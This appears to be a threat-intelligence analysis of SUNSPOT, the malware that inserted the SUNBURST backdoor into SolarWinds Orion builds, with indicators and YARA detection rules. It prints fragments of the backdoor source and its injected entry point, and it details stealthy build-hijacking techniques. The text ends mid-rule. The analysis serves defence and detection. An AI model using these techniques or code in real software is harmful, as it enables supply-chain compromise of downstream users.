Key Points
- SUNSPOT is StellarParticle’s malware used to insert the SUNBURST backdoor into software builds of the SolarWinds Orion IT management product.
- SUNSPOT monitors running processes for those involved in compilation of the Orion product and replaces one of the source files to include the SUNBURST backdoor code.
- Several safeguards were added to SUNSPOT to avoid the Orion builds from failing, potentially alerting developers to the adversary’s presence.
Technical Analysis
SUNSPOT was identified on disk with a filename oftaskhostsvc.exe
(SHA256 Hash: c45c9bda8db1d470f1fd0dcc346dc449839eb5ce9a948c70369230af0b3ef168
), and internally named taskhostw.exe
by its developers. It was likely built on 2020-02-20 11:40:02, according to the build timestamp found in the binary, which is consistent with the currently assessed StellarParticle supply chain attack timeline. StellarParticle operators maintained the persistence of SUNSPOT by creating a scheduled task set to execute when the host boots.
Initialization and Logging
When SUNSPOT executes, it creates a mutex named{12d61a41-4b74-7610-a4d8-3028d2f56395}
to ensure only one instance is running. It then creates an encrypted log file at C:\Windows\Temp\vmware-vmdmp.log
. Individual log entries are encrypted with the stream cipher RC4, using the hard-coded key FC F3 2A 83 E5 F6 D0 24 A6 BF CE 88 30 C2 48 E7
. Throughout execution, SUNSPOT will log errors to this file, along with other deployment information. Log entries are delineated by the hex string 32 78 A5 E7 1A 79 91 AC
and begin with the number of seconds elapsed since the first log line. Most log lines corresponding to an error contain a step number (e.g., Step19) requiring knowledge of the malware to understand their meaning. These steps and their mapping to the malware actions are provided at the end of this blog. The step numbering does not follow the actual execution order, suggesting the calls to the logging function were added by the developers during the creation of the malware as they progressed and needed to focus their efforts on debugging one part of the code. An extract of a log file generated by SUNSPOT in a test environment is given below.
0.000 START
22.781<3148> + 'msbuild.exe' <6252>
181.421<3148> - 0
194.343<3148> -
194.343<13760> + 'msbuild.exe' <6252>
322.812<13760> - 0
324.250<13760> -
324.250<14696> + 'msbuild.exe' <6252>
351.125<14696> - 0
352.031<14176> + 'msbuild.exe' <6252>
369.203<14696> -
375.093<14176> - 0
376.343<14176> -
376.343<11864> + 'msbuild.exe' <6252>
426.500<11864> - 0
439.953<11864> -
439.953<9204> + 'msbuild.exe' <6252>
485.343<9204> Solution directory: C:\Users\User\Source
485.343 Step4('C:\Users\User\Source\Src\Lib\SolarWinds.Orion.Core.BusinessLayer\BackgroundInventory\InventoryManager.cs') fails
SeDebugPrivilege
. This step is a prerequisite for the remainder of SUNSPOT’s execution, which involves reading other processes' memory.
Build Hijacking Steps
Monitoring of Running Software Build Processes
After initialization, SUNSPOT monitors running processes for instances ofMsBuild.exe
, which is part of Microsoft Visual Studio development tools. Copies of MsBuild.exe
are identified by hashing the name of each running process and comparing it to the corresponding value, 0x53D525
. The hashing algorithm used for the comparison is ElfHash and is provided in Python in Figure 1.
def elf_hash(name):
MsBuild.exe
process, it will spawn a new thread to determine if the Orion software is being built and, if so, hijack the build operation to inject SUNBURST. The monitoring loop executes every second, allowing SUNSPOT to modify the target source code before it has been read by the compiler.
Although the mutex created during the initialization should already prevent multiple process monitoring loops from running, the malware checks for the presence of a second mutex — {56331e4d-76a3-0390-a7ee-567adf5836b7}
. If this mutex is found, the backdoor interprets it as a signal to quit, waits for the completion of its currently running backdoor injection threads, and exits. This mutex was likely intended to be used by StellarParticle operators to discreetly stop the malware, instead of using a riskier method such as killing the process. Stopping SUNSPOT in the middle of its operation could result in unfinished tampering of the Orion source code, and lead to Orion build errors that SolarWinds developers would investigate, revealing the adversary’s presence.
Command-Line Arguments Extraction from Process Memory
The malware extracts the command-line arguments for each runningMsBuild.exe
process from the virtual memory using a methodology similar to one publicly documented1.
A call to NtQueryInformationProcess
allows the adversary to obtain a pointer to the remote process’s Process Environment Block (PEB), which contains a pointer to a _RTL_USER_PROCESS_PARAMETERS
structure. The latter is read to get the full command line passed to the MsBuild.exe
process.
The command line is then parsed to extract individual arguments, and SUNSPOT looks for the directory path of the Orion software Visual Studio solution. This value is hard-coded in the binary, in an encrypted form using AES128-CBC, whose parameters are given below. The same material is used for all of the blobs encrypted with AES in the binary.
key = FC F3 2A 83 E5 F6 D0 24 A6 BF CE 88 30 C2 48 E7 (same as the RC4 key)
iv
= 81 8C 85 49 B9 00 06 78 0B E9 63 60 26 64 B2 DA
Orion Source Code Replacement
When SUNSPOT finds the Orion solution file path in a runningMsBuild.exe
process, it replaces a source code file in the solution directory, with a malicious variant to inject SUNBURST while Orion is being built. While SUNSPOT supports replacing multiple files, the identified copy only replaces InventoryManager.cs
.The malicious source code for SUNBURST, along with target file paths, are stored in AES128-CBC encrypted blobs and are protected using the same key and initialization vector. As causing build errors would very likely prompt troubleshooting actions from the Orion developers and lead to the adversary’s discovery, the SUNSPOT developers included a hash verification check, likely to ensure the injected backdoored code is compatible with a known source file, and also avoid replacing the file with garbage data from a failed decryption. In the exemplar SUNSPOT sample, the MD5 hash for the backdoored source code is
5f40b59ee2a9ac94ddb6ab9e3bd776ca
.
If the decryption of the parameters (target file path and replacement source code) is successful and if the MD5 checks pass, SUNSPOT proceeds with the replacement of the source file content. The original source file is copied with a .bk
extension (e.g., InventoryManager.bk
), to back up the original content. The backdoored source is written to the same filename, but with a .tmp
extension (e.g., InventoryManager.tmp
), before being moved using MoveFileEx
to the original filename (InventoryManager.cs
). After these steps, the source file backdoored with SUNBURST will then be compiled as part of the standard process.
SUNSPOT appends an entry in the log file with the date and time of the backdoor attempt and waits for the MsBuild.exe
process to exit before restoring the original source code and deleting the temporary InventoryManager.bk
file. If the Orion solution build is successful, it is backdoored with SUNBURST.
SUNBURST Source Code
The source code of SUNBURST was likely sanitized before being included in SUNSPOT. The use of generic variable names, pre-obfuscated strings, and the lack of developer comments or disabled code is similar to what could be obtained after decompiling a backdoored Orion binary, as illustrated in Figure 2, which provides a comparison between the injected source code (top) and a decompilation output (bottom).private static class ProcessTracker
{
private static readonly object _lock = new object();
private static bool SearchConfigurations()
{
using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(ZipHelper.Unzip("C07NSU0uUdBScCvKz1UIz8wzNooPriwuSc11KcosSy0CAA==")))
{
foreach (ManagementObject item in managementObjectSearcher.Get())
{
ulong hash = GetHash(Path.GetFileName(item.Properties<ZipHelper.Unzip("C0gsyfBLzE0FAA==")>.Value.ToString()).ToLower());
if (Array.IndexOf(configTimeStamps, hash) != -1)
{
return true;
}
}
}
return false;
}
private static class ProcessTracker
{
// Token: 0x0600097C RID: 2428 RVA: 0x000435A4 File Offset: 0x000417A4
private static bool SearchConfigurations()
{
using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(OrionImprovementBusinessLayer.ZipHelper.Unzip("C07NSU0uUdBScCvKz1UIz8wzNooPriwuSc11KcosSy0CAA==")))
{
foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
{
ulong hash = OrionImprovementBusinessLayer.GetHash(Path.GetFileName(((ManagementObject)managementBaseObject).Properties<OrionImprovementBusinessLayer.ZipHelper.Unzip("C0gsyfBLzE0FAA==")>.Value.ToString()).ToLower());
if (Array.IndexOf<ulong>(OrionImprovementBusinessLayer.configTimeStamps, hash) != -1)
{
return true;
}
}
}
return false;
}
#pragma warning disable
and #pragma warning
restore statements, hinting at what parts were edited. In particular, SUNSPOT’s entry point was added to the legitimate Orion software RefreshInternal
function by adding the following try/catch block:
if (!OrionImprovementBusinessLayer.IsAlive) {
Thread th = new Thread(OrionImprovementBusinessLayer.Initialize)
{ IsBackground = true };
th.Start();
} } catch (Exception) { }
Tactics, Techniques and Procedures (TTPs)
The following TTPs may be used to characterize the SUNSPOT activity described in this blog:- Persistence using scheduled tasks, triggered at boot time
- Use of AES128-CBC to protect the targeted source code files and the backdoored source code file in the binary
- Use of RC4 encryption with a hard-coded key to protect the log file entries
- Log entries from different executions of the malware that are separated with a hard-coded value
32 78 A5 E7 1A 79 91 AC
- Log file creation in the system temp directory
C:\Windows\Temp\vmware-vmdmp.log
masquerading as a legitimate VMWare log file - Detection of the targeted Visual Studio solution build by reading the virtual memory of
MsBuild.exe
processes, looking for the targeted solution filename - Access to the remote process arguments made via the remote process’s PEB structure
- Replacement of source code files during the build process, before compilation, by replacing file content with another version containing SUNBURST
- Insertion of the backdoor code within
#pragma
statements disabling and restoring warnings, to prevent the backdoor code lines from appearing in build logs - Check of the MD5 hashes of the original source code and of the backdoored source code to ensure the tampering will not cause build errors
- Attempt to open a non-existing mutex to detect when the malware operators want the backdoor to stop execution and safely exit
Host Indicators of Attack
The tables below detail files belonging to the SUNSPOT campaigns including filename, SHA256 hash, and build time when known.Executables
Filename | SHA256 Hash | Build Time (UTC) |
taskhostsvc.exe | c45c9bda8db1d470f1fd0dcc346dc449839eb5ce9a948c70369230af0b3ef168 | 2 020-02-20 11:40:02 |
Related Files
Description | SHA256 Hash |
Backdoored Orion source code with SUNSPOT | 0819db19be479122c1d48743e644070a8dc9a1c852df9a8c0dc2343e904da389 |
File System
The presence of one or more of the following files may indicate a SUNSPOT infection.File Path | Description |
C:\Windows\Temp\vmware-vmdmp.log | Encrypted log file |
Volatile Artifacts
Name | Type | Description |
{12d61a41-4b74-7610-a4d8-3028d2f56395} | Mutex | Ensures a single implant instance |
{56331e4d-76a3-0390-a7ee-567adf5836b7} | Mutex | Used to signal to the malware to safely exit |
YARA Rules
rule CrowdStrike_SUNSPOT_01 : artifact stellarparticle sunspot
{
meta:
copyright = "(c) 2021 CrowdStrike Inc."
description = "Detects RC4 and AES key encryption material in SUNSPOT"
version = "202101081448"
last_modified = "2021-01-08"
actor = "StellarParticle"
malware_family = "SUNSPOT"
strings:
$key = {fc f3 2a 83 e5 f6 d0 24 a6 bf ce 88 30 c2 48 e7}
$iv
= {81 8c 85 49 b9 00 06 78 0b e9 63 60 26 64 b2 da}
condition:
all of them and filesize < 32MB
}
rule CrowdStrike_SUNSPOT_02 : artifact stellarparticle sunspot
{
meta:
copyright = "(c) 2021 CrowdStrike Inc."
description = "Detects mutex names in SUNSPOT"
version = "202101081448"
last_modified = "2021-01-08"
actor = "StellarParticle"
malware_family = "SUNSPOT"
strings:
$mutex_01 = "{12d61a41-4b74-7610-a4d8-3028d2f56395}" wide ascii
$mutex_02 = "{56331e4d-76a3-0390-a7ee-567adf5836b7}" wide ascii
condition:
any of them and filesize < 10MB
}
rule CrowdStrike_SUNSPOT_03 : artifact logging stellarparticle sunspot
{
meta:
copyright = "(c) 2021 CrowdStrike Inc."
description = "Detects log format lines in SUNSPOT"
version = "202101081443"
last_modified = "2021-01-08"
actor = "StellarParticle"
malware_family = "SUNSPOT"
strings:
$s01 = " ***Step1('%ls','%ls') fails with error %#x***\x0A" ascii
$s02 = " Step2 fails\x0A" ascii
$s03 = " Step3 fails\x0A" ascii
$s04 = " Step4('%ls') fails\x0A" ascii
$s05 = " Step5('%ls') fails\x0A" ascii
$s06 = " Step6('%ls') fails\x0A" ascii
$s07 = " Step7 fails\x0A" ascii
$s08 = " Step8 fails\x0A" ascii
$s09 = " Step9('%ls') fails\x0A" ascii
$s10 = " Step10('%ls','%ls') fails with error %#x\x0A" ascii
$s11 = " Step11('%ls') fails\x0A" ascii
$s12 = " Step12('%ls','%ls') fails with error %#x\x0A" ascii
$s13 = " Step30 fails\x0A" ascii
$s14 = " Step14 fails with error %#x\x0A" ascii
$s15 = " Step15 fails\x0A" ascii
$s16 = " Step16 fails\x0A" ascii
$s17 = "